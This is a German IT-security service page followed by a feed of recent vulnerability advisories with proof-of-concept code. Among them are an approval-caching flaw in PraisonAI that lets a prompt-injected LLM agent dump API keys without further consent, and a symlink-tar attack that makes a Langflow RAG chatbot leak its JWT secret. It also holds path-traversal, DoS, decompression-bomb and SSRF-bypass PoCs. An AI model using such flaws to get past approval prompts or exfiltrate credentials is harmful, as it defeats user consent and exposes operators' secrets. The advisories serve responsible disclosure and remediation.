IT-Sicherheit - bleiben Sie auf dem Laufenden
Täglich werden neue Schwachstellen, Angriffs-Vektoren, Cyber-Attaken und Fehler in Software, Netzwerken und Infrastrukturen bekannt - teilweise betreffen diese nur bestimmte Softwarelösungen oder spezifische Szenarien, manchmal betreffen Sie jedoch auch ganze Industriezweige, weit verbreitete Arbeitsweisen und grundlegende Technologien wie bei Heartbleed (SSL) oder Log4Shell (Protokollierung). Ergreifen Sie Maßnahmen, um Ihre Infrastruktur und Daten sicher zu halten.
Gemeinsam erfassen wir, welche Komponten und Abhängigkeiten Sie einsetzen und überwachen die CVE und viele weitere Quellen um im Falle von Mängeln oder Angriffspunkten schnell handeln zu können.
Wir simulieren Angriffe und Testen Ihre Anwendungen, Webseiten, die Infrastruktur und Prozesse auf mögliche Sicherheitslücken, Mängel und Angriffsvektoren um Risiken fürhzeitig zu erknennen und Lücken zu schließen.
Wir implementieren aktiv Monitore und überwachen somit Anfragen um frühzeitig Angriffe und verdächtige Aktivitäten zu identifizieren. Verdächte Aktivitäten können zur Alarmierung oder zu automatischen Sperrungen und Ausschlüssen führen, um einen hohen Standard zu gewährleisten.
Den Bedrohungen der IT-Welt sind Sie nicht schutzlos ausgeliefert - es ist jedoch wichtig dem Thema IT-Sicherheit Aufmerksamkeit zu schenken, um einen verantwortungsbewussten und rechtskonformen Umgang mit Unternehmens- und Kundendaten zu gewährleisten.
| Risiko / Label | Veröffentlichung | |
|---|---|---|
| Risiko 5 / 10 CVE-2026-56078 | vor 2 Stunde(n) | |
| ## Summary The `MultiAgentLedger` and `MultiAgentMonitor` components in the provided code exhibit vulnerabilities that can lead to context leakage and arbitrary file operations. Specifically: 1. **Memory State Leakage via Agent ID Collision**: The `MultiAgentLedger` uses a dictionary to store ledgers by agent ID without enforcing uniqueness. This allows agents with the same ID to share ledger instances, leading to potential leakage of sensitive context data. 2. **Path Traversal in MultiAgentMonitor**: The `MultiAgentMonitor` constructs file paths by concatenating the `base_path` and agent ID without sanitization. This allows an attacker to escape the intended directory using path traversal sequences (e.g., `../`), potentially leading to arbitrary file read/write. ## Details ### Vulnerability 1: Memory State Leakage - **File**: `examples/context/12_multi_agent_context.py:68` - **Description**: The `MultiAgentLedger` class uses a dictionary (`self.ledgers`) to store ledger instances keyed by agent ID. The `get_agent_ledger` method creates a new ledger only if the agent ID is not present. If two agents are registered with the same ID, they will share the same ledger instance. This violates the isolation policy and can lead to leakage of sensitive context data (system prompts, conversation history) between agents. - **Exploitability**: An attacker can register an agent with the same ID as a victim agent to gain access to their ledger. This is particularly dangerous in multi-tenant systems where agents may handle sensitive user data. ### Vulnerability 2: Path Traversal - **File**: `examples/context/12_multi_agent_context.py:106` - **Description**: The `MultiAgentMonitor` class constructs file paths for agent monitors by directly concatenating the `base_path` and agent ID. Since the agent ID is not sanitized, an attacker can provide an ID containing path traversal sequences (e.g., `../../malicious`). This can result in files being created or read outside the intended directory (`base_path`). - **Exploitability**: An attacker can create an agent with a malicious ID (e.g., `../../etc/passwd`) to write or read arbitrary files on the system, potentially leading to information disclosure or file corruption. ## PoC ### Memory State Leakage ```python multi_ledger = MultiAgentLedger() # Victim agent (user1) registers and tracks sensitive data victim_ledger = multi_ledger.get_agent_ledger('user1_agent') victim_ledger.track_system_prompt("Sensitive system prompt") victim_ledger.track_history([{"role": "user", "content": "Secret data"}]) # Attacker registers with the same ID attacker_ledger = multi_ledger.get_agent_ledger('user1_agent') # Attacker now has access to victim's ledger print(attacker_ledger.get_ledger().system_prompt) # Outputs: "Sensitive system prompt" print(attacker_ledger.get_ledger().history) # Outputs: [{'role': 'user', 'content': 'Secret data'}] ``` ### Path Traversal ```python with tempfile.TemporaryDirectory() as tmpdir: multi_monitor = MultiAgentMonitor(base_path=tmpdir) # Create agent with malicious ID malicious_id = '../../malicious' monitor = multi_monitor.get_agent_monitor(malicious_id) # The monitor file is created outside the intended base_path # Example: if tmpdir is '/tmp/safe_dir', the actual path might be '/tmp/malicious' print(monitor.path) # Outputs: '/tmp/malicious' (or equivalent) ``` ## Impact - **Memory State Leakage**: This vulnerability can lead to unauthorized access to sensitive agent context, including system prompts and conversation history. In a multi-tenant system, this could result in cross-user data leakage. - **Path Traversal**: An attacker can read or write arbitrary files on the system, potentially leading to information disclosure, denial of service (by overwriting critical files), or remote code execution (if executable files are overwritten). ## Recommended Fix ### For Memory State Leakage - Enforce unique agent IDs at the application level. If the application expects unique IDs, add a check during agent registration to prevent duplicates. - Alternatively, modify the `MultiAgentLedger` to throw an exception if an existing agent ID is reused (unless explicitly allowed). ### For Path Traversal - Sanitize agent IDs before using them in file paths. Replace any non-alphanumeric characters (except safe ones like underscores) or remove path traversal sequences. - Use `os.path.join` and `os.path.realpath` to resolve paths, then check that the resolved path starts with the intended base directory. Example fix for `MultiAgentMonitor`: ```python import os def get_agent_monitor(self, agent_id: str): # Sanitize agent_id to remove path traversal safe_id = os.path.basename(agent_id.replace('../', '').replace('..\\', '')) # Alternatively, use a strict allow-list of characters # Construct path and ensure it's within base_path agent_path = os.path.join(self.base_path, safe_id) real_path = os.path.realpath(agent_path) real_base = os.path.realpath(self.base_path) if not real_path.startswith(real_base): raise ValueError(f"Invalid agent ID: {agent_id}") ... ``` Additionally, consider using a dedicated function for sanitizing filenames. | ||
| Risiko 5 / 10 CVE-2026-56074 | vor 2 Stunde(n) | |
| ## Summary The approval system in PraisonAI Agents caches tool approval decisions by tool name only, not by invocation arguments. Once a user approves `execute_command` for any command (e.g., `ls -la`), all subsequent `execute_command` calls in that execution context bypass the approval prompt entirely. Combined with `os.environ.copy()` passing all process environment variables to subprocesses, this allows an LLM agent (potentially via prompt injection) to silently exfiltrate API keys and credentials without further user consent. ## Details The `require_approval` decorator in `src/praisonai-agents/praisonaiagents/approval/__init__.py:176-178` checks approval status by tool name only: ```python @wraps(func) def wrapper(*args, **kwargs): if is_already_approved(tool_name): # line 177 — checks only tool_name return func(*args, **kwargs) # line 178 — bypasses ALL approval ``` The `mark_approved` function in `registry.py:144-147` stores only the tool name string: ```python def mark_approved(self, tool_name: str) -> None: approved = self._approved_context.get(set()) approved.add(tool_name) # stores "execute_command", not args self._approved_context.set(approved) ``` The approval context is never cleared during agent execution — `clear_approved()` exists (`registry.py:152`) but is never called in the agent's tool execution path (`agent/tool_execution.py`). Meanwhile, the `ConsoleBackend` UI at `backends.py:95-96` misleads the user: ```python return Confirm.ask( f"Do you want to execute this {request.risk_level} risk tool?", # "this" implies per-invocation approval ) ``` The UI displays the specific command arguments (lines 81-85), creating a reasonable expectation that the user is approving only that specific invocation. Additionally, `shell_tools.py:77` passes the full process environment to every subprocess: ```python process_env = os.environ.copy() # includes OPENAI_API_KEY, etc. ``` There is no command filtering, blocklist, or environment variable sanitization in the shell tools module. ## PoC ```python from praisonaiagents import Agent from praisonaiagents.tools.shell_tools import execute_command # Step 1: Create agent with shell tool agent = Agent( name="worker", instructions="You are a helpful assistant.", tools=[execute_command] ) # Step 2: Agent requests benign command — user sees Rich panel: # Function: execute_command # Risk Level: CRITICAL # Arguments: # command: ls -la # "Do you want to execute this critical risk tool?" [y/N] # User approves → mark_approved("execute_command") is called # Step 3: All subsequent execute_command calls bypass approval silently: # execute_command(command="env") # → returns ALL environment variables (OPENAI_API_KEY, AWS_SECRET_ACCESS_KEY, etc.) # → NO approval prompt shown # Step 4: Targeted extraction also bypasses approval: # execute_command(command="printenv OPENAI_API_KEY") # → returns the specific API key # → NO approval prompt shown # Verification: check the approval cache from praisonaiagents.approval import is_already_approved # After approving "ls -la": # is_already_approved("execute_command") → True # Any execute_command call now returns immediately at __init__.py:177-178 ``` ## Impact - **Secret exfiltration**: An LLM agent (or one subjected to prompt injection) can dump all process environment variables after a single benign command approval. Common secrets include `OPENAI_API_KEY`, `AWS_SECRET_ACCESS_KEY`, `DATABASE_URL`, and any other credentials passed via environment. - **Misleading consent UI**: The console prompt displays specific arguments and uses language ("this tool") that implies per-invocation consent, but the system grants session-wide blanket approval. - **No expiration or scope**: The approval cache uses a `ContextVar` that persists for the entire agent execution context with no timeout, no command-count limit, and no clearing between tool calls. - **No environment filtering**: `os.environ.copy()` passes every environment variable to subprocesses without filtering sensitive patterns. ## Recommended Fix 1. **Per-invocation approval for critical tools** — store a hash of `(tool_name, arguments)` instead of just `tool_name`, or require re-approval for each invocation of critical-risk tools: ```python # In registry.py — change mark_approved/is_already_approved: import hashlib, json def mark_approved(self, tool_name: str, arguments: dict = None) -> None: approved = self._approved_context.get(set()) risk = self._risk_levels.get(tool_name) if risk == "critical" and arguments: key = f"{tool_name}:{hashlib.sha256(json.dumps(arguments, sort_keys=True).encode()).hexdigest()}" else: key = tool_name approved.add(key) self._approved_context.set(approved) def is_already_approved(self, tool_name: str, arguments: dict = None) -> bool: approved = self._approved_context.get(set()) risk = self._risk_levels.get(tool_name) if risk == "critical" and arguments: key = f"{tool_name}:{hashlib.sha256(json.dumps(arguments, sort_keys=True).encode()).hexdigest()}" return key in approved return tool_name in approved ``` 2. **Filter environment variables** in `shell_tools.py`: ```python SENSITIVE_PATTERNS = ('_KEY', '_SECRET', '_TOKEN', '_PASSWORD', '_CREDENTIAL') process_env = { k: v for k, v in os.environ.items() if not any(p in k.upper() for p in SENSITIVE_PATTERNS) } if env: process_env.update(env) ``` | ||
| Risiko 5 / 10 CVE-2026-55650 | vor 2 Stunde(n) | |
| ## Summary
A Stored Cross-Site Scripting (XSS) issue previously existed in the Text Widget in Board of Outerbase Studio where unsanitized HTML could be rendered using `dangerouslySetInnerHTML`
### Steps to Reproduce
1. Create a new dashboard.
2. Add a **Text widget**.
3. Insert the following payload:
```html
|
||
| Risiko 9.5 / 10 CVE-2026-55447 | vor 2 Stunde(n) | |
| ### Summary All components based on `BaseFileComponent` are vulnerable to the following vulnerability: 1. Docling (`DoclingInlineComponent`) 2. Docling Serve (`DoclingRemoteComponent`) 3. Read File (`FileComponent`) 4. NVIDIA Retriever Extraction (`NvidiaIngestComponent`) 5. Video File (`VideoFileComponent`) 6. Unstructured API (`UnstructuredComponent`) For clarity, from now on I'll only refer to Read File component. The Read File node processes user-controlled files. Example scenario is a RAG chatbot - a system that allows users of an organization to ask questions about documents saved in the organizations. By controlling a files that are digested into the RAG, an attacker can direct the node to read *any* file on the file-system by absolute path. Using this vulnerability an attacker can acheive RCE: 1. Upload a file that directs the node to read Langflow's `secret_key` file containing the JWT token secret. 2. This would allow the attacker then to simply task the Chatbot for the JWT secret. 3. Using this secret, the attacker then crafts a JWT token for any user-id, bypassing authentication. 4. Code execution is then trivial - simply create a new flow with "Python Interpreter" node, fill it with arbitrary Python code and execute it. Tested on commit 2d67402b1dbaefcbce85a244d4a6cd5e4bda1cfe ### Details The vulnerability is in: `langflow/src/lfx/src/lfx/base/data/base_file.py` Specifically in `_unpack_bundle`. This function extracts tar files, which can contain a symlink. This symlink can point to any file in the filesystem. Then, in `self.process_files()`, the file pointed by the symlink will be parsed and saved into the RAG. This can be done with unlimited number of symlinks in the same tar which can also be useful in some scenarios. Suggestd fix - iterate over the files and make sure all are regular files or directories. ### PoC Reproduction: 1. Create a flow with Read File (or any other affected components), and connect its output to some storage such as Chroma DB. 2. Create a symlink pointing to any file. For the above exploit, point the symlink to langflow's JWT token file. 3. Compress this symlink with tar. 4. Upload it to the Read File component. 5. Check the database, or ask a Chatbot connected to this vector database for the contents of the file. Concrete PoC: ------------ - Flow with RAG ingestion and a Chatbot around it: [Vector Store RAG.json](https://github.com/user-attachments/files/25159960/Vector.Store.RAG.json) - Exploit tar: [archive.tar.txt](https://github.com/user-attachments/files/25159954/archive.tar.txt) (remove .txt, GitHub blocked .tar) - Create a file `/tmp/trip.docx` with any contents in it - Ingest the file in the flow above, and ask the Chatbot a question about this file. A demo showing the attack: https://github.com/user-attachments/assets/af00f700-f13f-4eac-848e-8afd11fb9297 In the demo the attacker steals `Langflow` secret key used to sign JWTs. The second stage of the attack, not shown in the demo, is using this key to sign a JWT token and executing Python code on the server using the Python code interpreter node. ### Impact Any Langflow user using any of the above mentioned components to ingest user-controlled data is affected. Depending on exact scenario, the user can also be exposed to an RCE risk. ### Patches Fixed in **1.9.2** via PR [#12945](https://github.com/langflow-ai/langflow/pull/12945). `BaseFileComponent._unpack_bundle` now rejects symlink and hardlink members (and any non-regular entries) during TAR extraction, with additional defensive symlink filtering during directory recursion and after extraction. Upgrade to **1.9.2 or later**. Ori Lahav Security Researcher @ Rubrik Inc. | ||
| Risiko 7.5 / 10 CVE-2026-55446 | vor 3 Stunde(n) | |
| ### Summary
An attacker can send a `/api/v1/files/upload/` request without any authentication token/cookies and abuse a very long multipart form boundary to make the langflow app unusable for all users for an indefinite amount of time.
### Details
https://github.com/langflow-ai/langflow/blob/v1.0.18/src/backend/base/langflow/api/v1/files.py#L40
The file upload function will try to process the multipart form data even if it is malformed and contains a payload such as an extremely large amount of hyphens after the boundary. It also does not do the authentication check before trying to process this data so an unauthenticated attacker can perform this as well as authenticated users.
Additionally, an attacker doesn't even need to know a valid UUID of a flow to send this request because the server will still try to process the large boundary even with any random value in place of the flow ID.
### PoC
An attacker makes this request to upload a file without valid authentication information or a valid flow ID:
```
POST /api/v1/files/upload/test HTTP/1.1
Host: 127.0.0.1:7860
Content-Length: 3000192
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryorGBAKSkv5wR6WqJ
Accept: application/json, text/plain, */*
Origin: http://127.0.0.1:7860
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
------WebKitFormBoundaryorGBAKSkv5wR6WqJ
Content-Disposition: form-data; name="file"; filename="dos.txt"
Content-Type: text/plain
DoS in progress!
------WebKitFormBoundaryorGBAKSkv5wR6WqJ------------ |
||
| Risiko 5 / 10 CVE-2026-50519 | vor 3 Stunde(n) | |
| Initialization of a resource with an insecure default in GitHub Copilot and Visual Studio Code allows an unauthorized attacker to disclose information over a network. | ||
| Risiko 9.5 / 10 CVE-2026-48584 | vor 3 Stunde(n) | |
| Execution with unnecessary privileges in Azure Synapse allows an authorized attacker to elevate privileges over a network. | ||
| Risiko 5 / 10 CVE-2026-55423 | vor 3 Stunde(n) | |
| ### Summary
The logout button does not clear the session. The previous user stays logged in unless another user explicitly logs in.
### Details
Not in auto login mode. Hosted on localhost. `access_token_lf` remains present in both Local Storage and Cookies. `refresh_token_lf` remains present in Cookies.
**Root cause:** the `/logout` endpoint deleted the authentication cookies without matching the original `httponly`/`samesite`/`secure`/`domain` parameters, so the browser kept them; additionally the frontend did not clear the auth cookies on logout.
```
LANGFLOW_AUTO_LOGIN: "False"
LANGFLOW_SUPERUSER: |
||
| Risiko 9.5 / 10 CVE-2026-48582 | vor 3 Stunde(n) | |
| Missing authorization in Microsoft Exchange Online allows an authorized attacker to elevate privileges over a network. | ||
| Risiko 7.5 / 10 CVE-2026-47645 | vor 3 Stunde(n) | |
| Url redirection to untrusted site ('open redirect') in Microsoft 365 Copilot's Business Chat allows an unauthorized attacker to elevate privileges over a network. | ||
| Risiko 9.5 / 10 CVE-2026-45480 | vor 3 Stunde(n) | |
| Improper authentication in Azure Active Directory allows an unauthorized attacker to elevate privileges over a network. | ||
| Risiko 9.5 / 10 CVE-2026-55255 | vor 3 Stunde(n) | |
| ## Summary Insecure Direct Object Reference (IDOR) vulnerability in `/api/v1/responses` endpoint allows an authenticated attacker to execute any flow belonging to another user by specifying the victim's flow ID in the request. ## Details The vulnerability exists in the `get_flow_by_id_or_endpoint_name` helper function in [`src/backend/base/langflow/helpers/flow.py` (lines 399-414)](https://github.com/langflow-ai/langflow/blob/v1.9.0/src/backend/base/langflow/helpers/flow.py#L399C1-L414C67). When a flow is accessed via UUID (flow_id), the function queries the database directly without verifying if the authenticated user owns that flow: ```python # src/backend/base/langflow/helpers/flow.py:399-414 async def get_flow_by_id_or_endpoint_name(flow_id_or_name: str, user_id: str | UUID | None = None) -> FlowRead: async with session_scope() as session: try: flow_id = UUID(flow_id_or_name) # When using UUID, query directly WITHOUT checking user_id flow = await session.get(Flow, flow_id) # ❌ No user_id check! except ValueError: endpoint_name = flow_id_or_name stmt = select(Flow).where(Flow.endpoint_name == endpoint_name) # Only when using endpoint_name is user_id checked if user_id: stmt = stmt.where(Flow.user_id == uuid_user_id) ``` This function is used by the `/api/v1/responses` endpoint (defined in [`src/backend/base/langflow/api/v1/openai_responses.py:589`](https://github.com/langflow-ai/langflow/blob/v1.9.0/src/backend/base/langflow/api/v1/openai_responses.py#L589)). ## PoC (Proof of Concept) ```bash # Attacker (user A) with API_KEY_A tries to execute victim (user B)'s flow curl -X POST "http://localhost:7860/api/v1/responses" \ -H "x-api-key: sk-ATTACKER_API_KEY" \ -H "Content-Type: application/json" \ -d '{ "model": "VICTIM_FLOW_ID", "input_value": "test", "stream": false }' # Returns 200 and executes the victim's flow ``` ## Impact Any authenticated user can: 1. Execute any flow in the system by knowing its flow ID 2. Access potentially sensitive data processed by victim's flows 3. Consume victim's resources ## Fixes Fixed in **PR #12832** (`fix(security): close IDOR in get_flow_by_id_or_endpoint_name`), merged 2026-04-22, released in **Langflow 1.9.1**. The helper normalizes `user_id` once and enforces ownership on **both** lookup branches (UUID *and* `endpoint_name`): ```python flow_id = UUID(flow_id_or_name) flow = await session.get(Flow, flow_id) if flow is not None and uuid_user_id is not None and flow.user_id != uuid_user_id: flow = None # cross-user lookup falls through to the shared 404 ``` Key points: - Cross-user lookups return **404** (not 403), so flow existence is not disclosed via a 403-vs-404 oracle. - `/api/v1/responses` and `/api/v2/workflow` pass `user_id` explicitly, so fixing the helper closes them directly; the `/api/v1/run*` routes were additionally moved from a bare `Depends(get_flow_by_id_or_endpoint_name)` to auth-aware wrapper dependencies (defense in depth). - A malformed `user_id` now fails closed (404 instead of a raw 500). - Webhook routes intentionally keep the unscoped lookup (public by design / explicit ownership check elsewhere). - Regression tests cover the cross-user UUID case and reproduce the original PoC against `/api/v1/responses`. ## Acknowledgements Thanks to the security researchers who responsibly disclosed this vulnerability: * @yzeirnials * @johnatzeropath * @LeftenantZero * @Zwique | ||
| Risiko 5 / 10 CVE-2026-42895 | vor 3 Stunde(n) | |
| Improper neutralization of special elements used in a command ('command injection') in Microsoft Copilot allows an unauthorized attacker to perform tampering over a network. | ||
| Risiko 7.5 / 10 CVE-2026-32208 | vor 3 Stunde(n) | |
| Improper neutralization of input during web page generation ('cross-site scripting') in Microsoft Edge (Chromium-based) allows an authorized attacker to perform spoofing over a network. | ||
| Risiko 5 / 10 CVE-2026-55206 | vor 3 Stunde(n) | |
| ### Summary
PackInfo._read() uses an O(n^2) cumulative sum pattern where
numstreams is read directly from the archive header. A crafted .7z
archive with a large numstreams value causes excessive CPU consumption
during SevenZipFile.__init__() — no extraction is needed. A 50 KB
archive takes ~7 seconds of CPU time.
### Details
The vulnerable code is in PackInfo._read() (archiveinfo.py):
self.packpositions = [sum(self.packsizes[:i]) for i in
range(self.numstreams + 1)]
numstreams is parsed from the archive header via read_uint64() and is
attacker-controlled. Each sum(self.packsizes[:i]) re-sums from the
beginning, producing O(n^2) total work. This runs during header
parsing in SevenZipFile.__init__(), before any extraction.
Suggested fix — replace with O(n) cumulative sum:
from itertools import accumulate
self.packpositions = [0] + list(accumulate(self.packsizes))
### PoC
``` import struct, io, binascii, time
import py7zr
from py7zr.archiveinfo import write_uint64, PROPERTY
MAGIC = b'\x37\x7a\xbc\xaf\x27\x1c'
def encode_uint64(v):
buf = io.BytesIO()
write_uint64(buf, v)
return buf.getvalue()
def build_7z_with_streams(numstreams):
header = io.BytesIO()
header.write(PROPERTY.HEADER)
header.write(PROPERTY.MAIN_STREAMS_INFO)
header.write(PROPERTY.PACK_INFO)
header.write(encode_uint64(0))
header.write(encode_uint64(numstreams))
header.write(PROPERTY.SIZE)
for _ in range(numstreams):
header.write(encode_uint64(1))
header.write(PROPERTY.END)
header.write(PROPERTY.END)
header.write(PROPERTY.END)
header_data = header.getvalue()
out = io.BytesIO()
out.write(MAGIC)
out.write(b'\x00\x04')
next_crc = binascii.crc32(header_data) & 0xFFFFFFFF
start_header = (struct.pack(' |
||
| Risiko 5 / 10 CVE-2026-55195 | vor 3 Stunde(n) | |
| py7zr's `Worker.decompress()` extracts archive entries without tracking total decompressed size. A crafted `.7z` file can exhaust disk or memory before the extraction completes. Measured: 15.6 KB archive → 100 MB output (6,556:1 ratio). **Proof of concept:** ```python import py7zr, tempfile, os # create bomb: compress 100MB of zeros into ~15KB bomb_path = tempfile.mktemp(suffix='.7z') with py7zr.SevenZipFile(bomb_path, 'w') as z: import io z.writef(io.BytesIO(b'\x00' * 100 * 1024 * 1024), 'bomb.bin') print(f'archive size: {os.path.getsize(bomb_path):,} bytes') # extract — no size check with py7zr.SevenZipFile(bomb_path, 'r') as z: z.extractall(path=tempfile.mkdtemp()) print('extracted 100 MB from ~15 KB archive') ``` **Root cause:** `Worker.decompress()` in `py7zr/worker.py` writes decompressed data directly to disk without a running total or configurable size limit. There is no equivalent of Python's `zipfile` `max_size` parameter. **Fix:** track cumulative decompressed bytes and raise before writing if a limit is exceeded: ```python MAX_EXTRACT_SIZE = 2 * 1024 ** 3 # 2 GB default, configurable total = 0 for chunk in decompressed_chunks: total += len(chunk) if total > MAX_EXTRACT_SIZE: raise py7zr.exceptions.DecompressionBombError( f'Extraction aborted: decompressed size exceeded {MAX_EXTRACT_SIZE} bytes' ) outfile.write(chunk) ``` Tested on py7zr 0.22.0, Python 3.12, Ubuntu 22.04. | ||
| Risiko 5 / 10 CVE-2026-55187 | vor 3 Stunde(n) | |
| ## Summary
The remediation shipped in mailpit v1.29.2 for [GHSA-mpf7-p9x7-96r3](https://github.com/axllent/mailpit/security/advisories/GHSA-mpf7-p9x7-96r3) (CVE-2026-27808) is incomplete. The `tools.IsInternalIP` deny-list relies on Go's stdlib classification helpers (`IsLoopback`, `IsPrivate`, `IsLinkLocalUnicast`, `IsLinkLocalMulticast`, `IsUnspecified`, `IsMulticast`) plus an inline CGNAT range, but those helpers do **not** match two classes of IPv6 address that should be blocked for SSRF purposes:
1. **IPv6 forms that embed an IPv4 destination via documented translation mechanisms** — 6to4, NAT64, IPv4-compatible IPv6, ISATAP, or (in older Go versions) IPv4-mapped IPv6. These let an attacker reach internal IPv4 destinations by supplying an IPv6 literal that encodes the desired IPv4.
2. **IPv6 prefixes that fall outside the narrow private/loopback/link-local ranges Go's stdlib classifies** — specifically the deprecated site-local prefix `fec0::/10` (RFC 3879/4291) and the documentation prefix `2001:db8::/32` (RFC 3849). The first is still routable on dual-stack hosts and is cited as a bypass form in [CVE-2026-44430](https://advisories.gitlab.com/golang/github.com/modelcontextprotocol/registry/CVE-2026-44430/); the second should never appear in real network traffic and is safe to block as fail-safe behavior.
Together these gaps let the Link Check API be coerced into dialing internal destinations that the v1.29.2 fix was intended to block.
This is the same bug class as [GHSA-56c3-vfp2-5qqj / CVE-2026-44430 (MCP Registry)](https://advisories.gitlab.com/golang/github.com/modelcontextprotocol/registry/CVE-2026-44430/) and [GHSA-86m8-88fq-xfxp / CVE-2026-45741 (Gotenberg)](https://advisories.gitlab.com/golang/github.com/gotenberg/gotenberg/v8/CVE-2026-45741/) — projects that, like mailpit, built their SSRF deny-list around Go's stdlib `Is*` family and discovered the resulting bypass post-disclosure.
The underlying ecosystem-wide issue is tracked upstream at [**golang/go#79925**](https://github.com/golang/go/issues/79925), which proposes extending `net.IP.IsPrivate` to handle these IPv6 transition forms. Until that lands, every Go project that wants comprehensive SSRF protection has to implement the decoding itself — which is exactly the gap that produced this advisory and the three CVEs in adjacent projects cited above.
## Affected versions
- mailpit `v1.29.2` and later HEAD — the GHSA-mpf7-p9x7-96r3 fix is in place but [`tools.IsInternalIP`](https://github.com/axllent/mailpit/blob/a68499fa4e8874d414921fbd520e181dc92a39d7/internal/tools/net.go#L25-L34) does not cover the IPv6 forms enumerated below.
- Pre-`v1.29.2` versions remain vulnerable to the original advisory.
## Vulnerable code
[`internal/tools/net.go` L25-L34](https://github.com/axllent/mailpit/blob/a68499fa4e8874d414921fbd520e181dc92a39d7/internal/tools/net.go#L25-L34) — `IsInternalIP`:
```go
func IsInternalIP(ip net.IP) bool {
return ip.IsLoopback() ||
ip.IsPrivate() ||
ip.IsLinkLocalUnicast() ||
ip.IsLinkLocalMulticast() ||
ip.IsUnspecified() ||
ip.IsMulticast() ||
cgnatRange.Contains(ip)
}
```
[`internal/linkcheck/status.go` L140-L163](https://github.com/axllent/mailpit/blob/a68499fa4e8874d414921fbd520e181dc92a39d7/internal/linkcheck/status.go#L140-L163) — `safeDialContext` calls `IsInternalIP` on resolved IPs before dialing, but only blocks when one of the seven predicates above fires.
For each of the following bypass forms, `net.IP.IsLoopback`, `IsPrivate`, `IsLinkLocalUnicast`, `IsLinkLocalMulticast`, `IsUnspecified`, `IsMulticast`, and the CGNAT range check all return `false` — so the dial proceeds:
**IPv4-embedded-in-IPv6 forms** (each carries an IPv4 destination via a documented translation prefix):
| Bypass IPv6 literal | Decoded IPv4 destination | RFC |
|---|---|---|
| `64:ff9b::a9fe:a9fe` | `169.254.169.254` (AWS / GCP / Azure metadata) | RFC 6052 — NAT64 well-known prefix |
| `64:ff9b:1::a9fe:a9fe` | `169.254.169.254` | RFC 8215 — NAT64 local-use |
| `2002:a9fe:a9fe::` | `169.254.169.254` | RFC 3056 — 6to4 |
| `::a9fe:a9fe` | `169.254.169.254` | RFC 4291 §2.5.5.1 — IPv4-compatible IPv6 |
| `64:ff9b::7f00:1` | `127.0.0.1` | RFC 6052 (loopback via NAT64) |
| `2002:0a00:0001::` | `10.0.0.1` | RFC 3056 (RFC 1918 via 6to4) |
| ` |
||
| Risiko 5 / 10 CVE-2026-55185 | vor 3 Stunde(n) | |
| ### Summary
The URL restrictions in `miniflux-v2` can be bypassed by attackers, leading to an open redirect vulnerability.
### Details
Normally, the redirect URL needs to be validated using `IsRelativePath`.
|
||
| Risiko 5 / 10 GHSA-c7jm-38gq-h67h | vor 3 Stunde(n) | |
| ### Impact `ServerFilters.DigestAuth` and the underlying `DigestAuthProvider` both defaulted their `nonceVerifier` parameter to `{ true }` — i.e. every nonce was accepted regardless of value, age, or prior use. Any deployment using the default configuration had **no replay protection** on Digest authentication; a captured `Authorization: Digest …` response could be replayed indefinitely against the same protected resource. The nonce-verification mechanism in Digest auth is the primary anti-replay control — without it, Digest reduces to a credential bound only to a stale nonce string. **Who is affected:** any application using `ServerFilters.DigestAuth` or `DigestAuthProvider` with the default `nonceVerifier`. The broken default has been present since `DigestAuthProvider` was introduced (2021). Exploitation requires the attacker to first capture a valid Digest response (network observation, log access, etc.) — non-trivial in modern TLS deployments but not impossible. Anyone running Digest auth with default config should treat upgrade as urgent. ### Patches | Line | Fixed in | Edition | |------|----------|---------| | v6.x (Community) | **6.48.0.0** | Community | | v5.x (LTS) | **5.42.0.0** | Enterprise — contact [enterprise@http4k.org](mailto:enterprise@http4k.org) (if Digest auth is present in your v5.x line) | | v4.x (LTS) | **4.51.0.0** | Enterprise — contact [enterprise@http4k.org](mailto:enterprise@http4k.org) (if Digest auth is present in your v4.x line) | The fix (`[Break]`) removes the default value for `nonceVerifier` from both `ServerFilters.DigestAuth` and `DigestAuthProvider`. Callers must now supply a real verifier explicitly — the broken default cannot be silently inherited. ### Workarounds For deployments that cannot upgrade immediately: explicitly supply a `nonceVerifier` that tracks issued nonces, enforces a TTL, and rejects re-use. Do not rely on the default. | ||
| Risiko 5 / 10 GHSA-pr33-38xx-6r26 | vor 3 Stunde(n) | |
| ### Impact The previous `BasicCookieStorage` did not enforce RFC 6265 scoping rules around cookie domain, path, and `Secure` attribute. A client using a single storage instance to talk to multiple origins could have cookies leak across domains, or have `Secure` cookies sent over plain HTTP — the deprecation message states it bluntly: *"BasicCookieStorage has no domain/path/scheme scoping and leaks cookies across origins. Use DefaultCookieStorage instead."* **Who is affected:** any client using `BasicCookieStorage` directly with cookies for more than one origin or scheme. Single-origin uses are unaffected. ### Patches | Line | Fixed in | Edition | |------|----------|---------| | v6.x (Community) | **6.48.0.0** | Community | | v5.x (LTS) | **5.42.0.0** | Enterprise — contact [enterprise@http4k.org](mailto:enterprise@http4k.org) | | v4.x (LTS) | **4.51.0.0** | Enterprise — contact [enterprise@http4k.org](mailto:enterprise@http4k.org) | The fix introduces `DefaultCookieStorage` (RFC 6265 compliant) as the drop-in default; `BasicCookieStorage` is renamed `InsecureCookieStorage` and remains available for callers with a deliberate need for the old behaviour. ### Workarounds For deployments that cannot upgrade immediately: - Use a dedicated `BasicCookieStorage` instance per origin / scheme, or - Switch to a separate RFC 6265-compliant cookie store implementation. ### References - Fix release: [v6.48.0.0](https://github.com/http4k/http4k/releases/tag/6.48.0.0) - Cookie storage rewrite: [`6a9b44d743`](https://github.com/http4k/http4k/commit/6a9b44d743) - Background: [RFC 6265 — HTTP State Management Mechanism](https://datatracker.ietf.org/doc/html/rfc6265) | ||
| Risiko 7.5 / 10 GHSA-m4w9-hjfw-vwj4 | vor 3 Stunde(n) | |
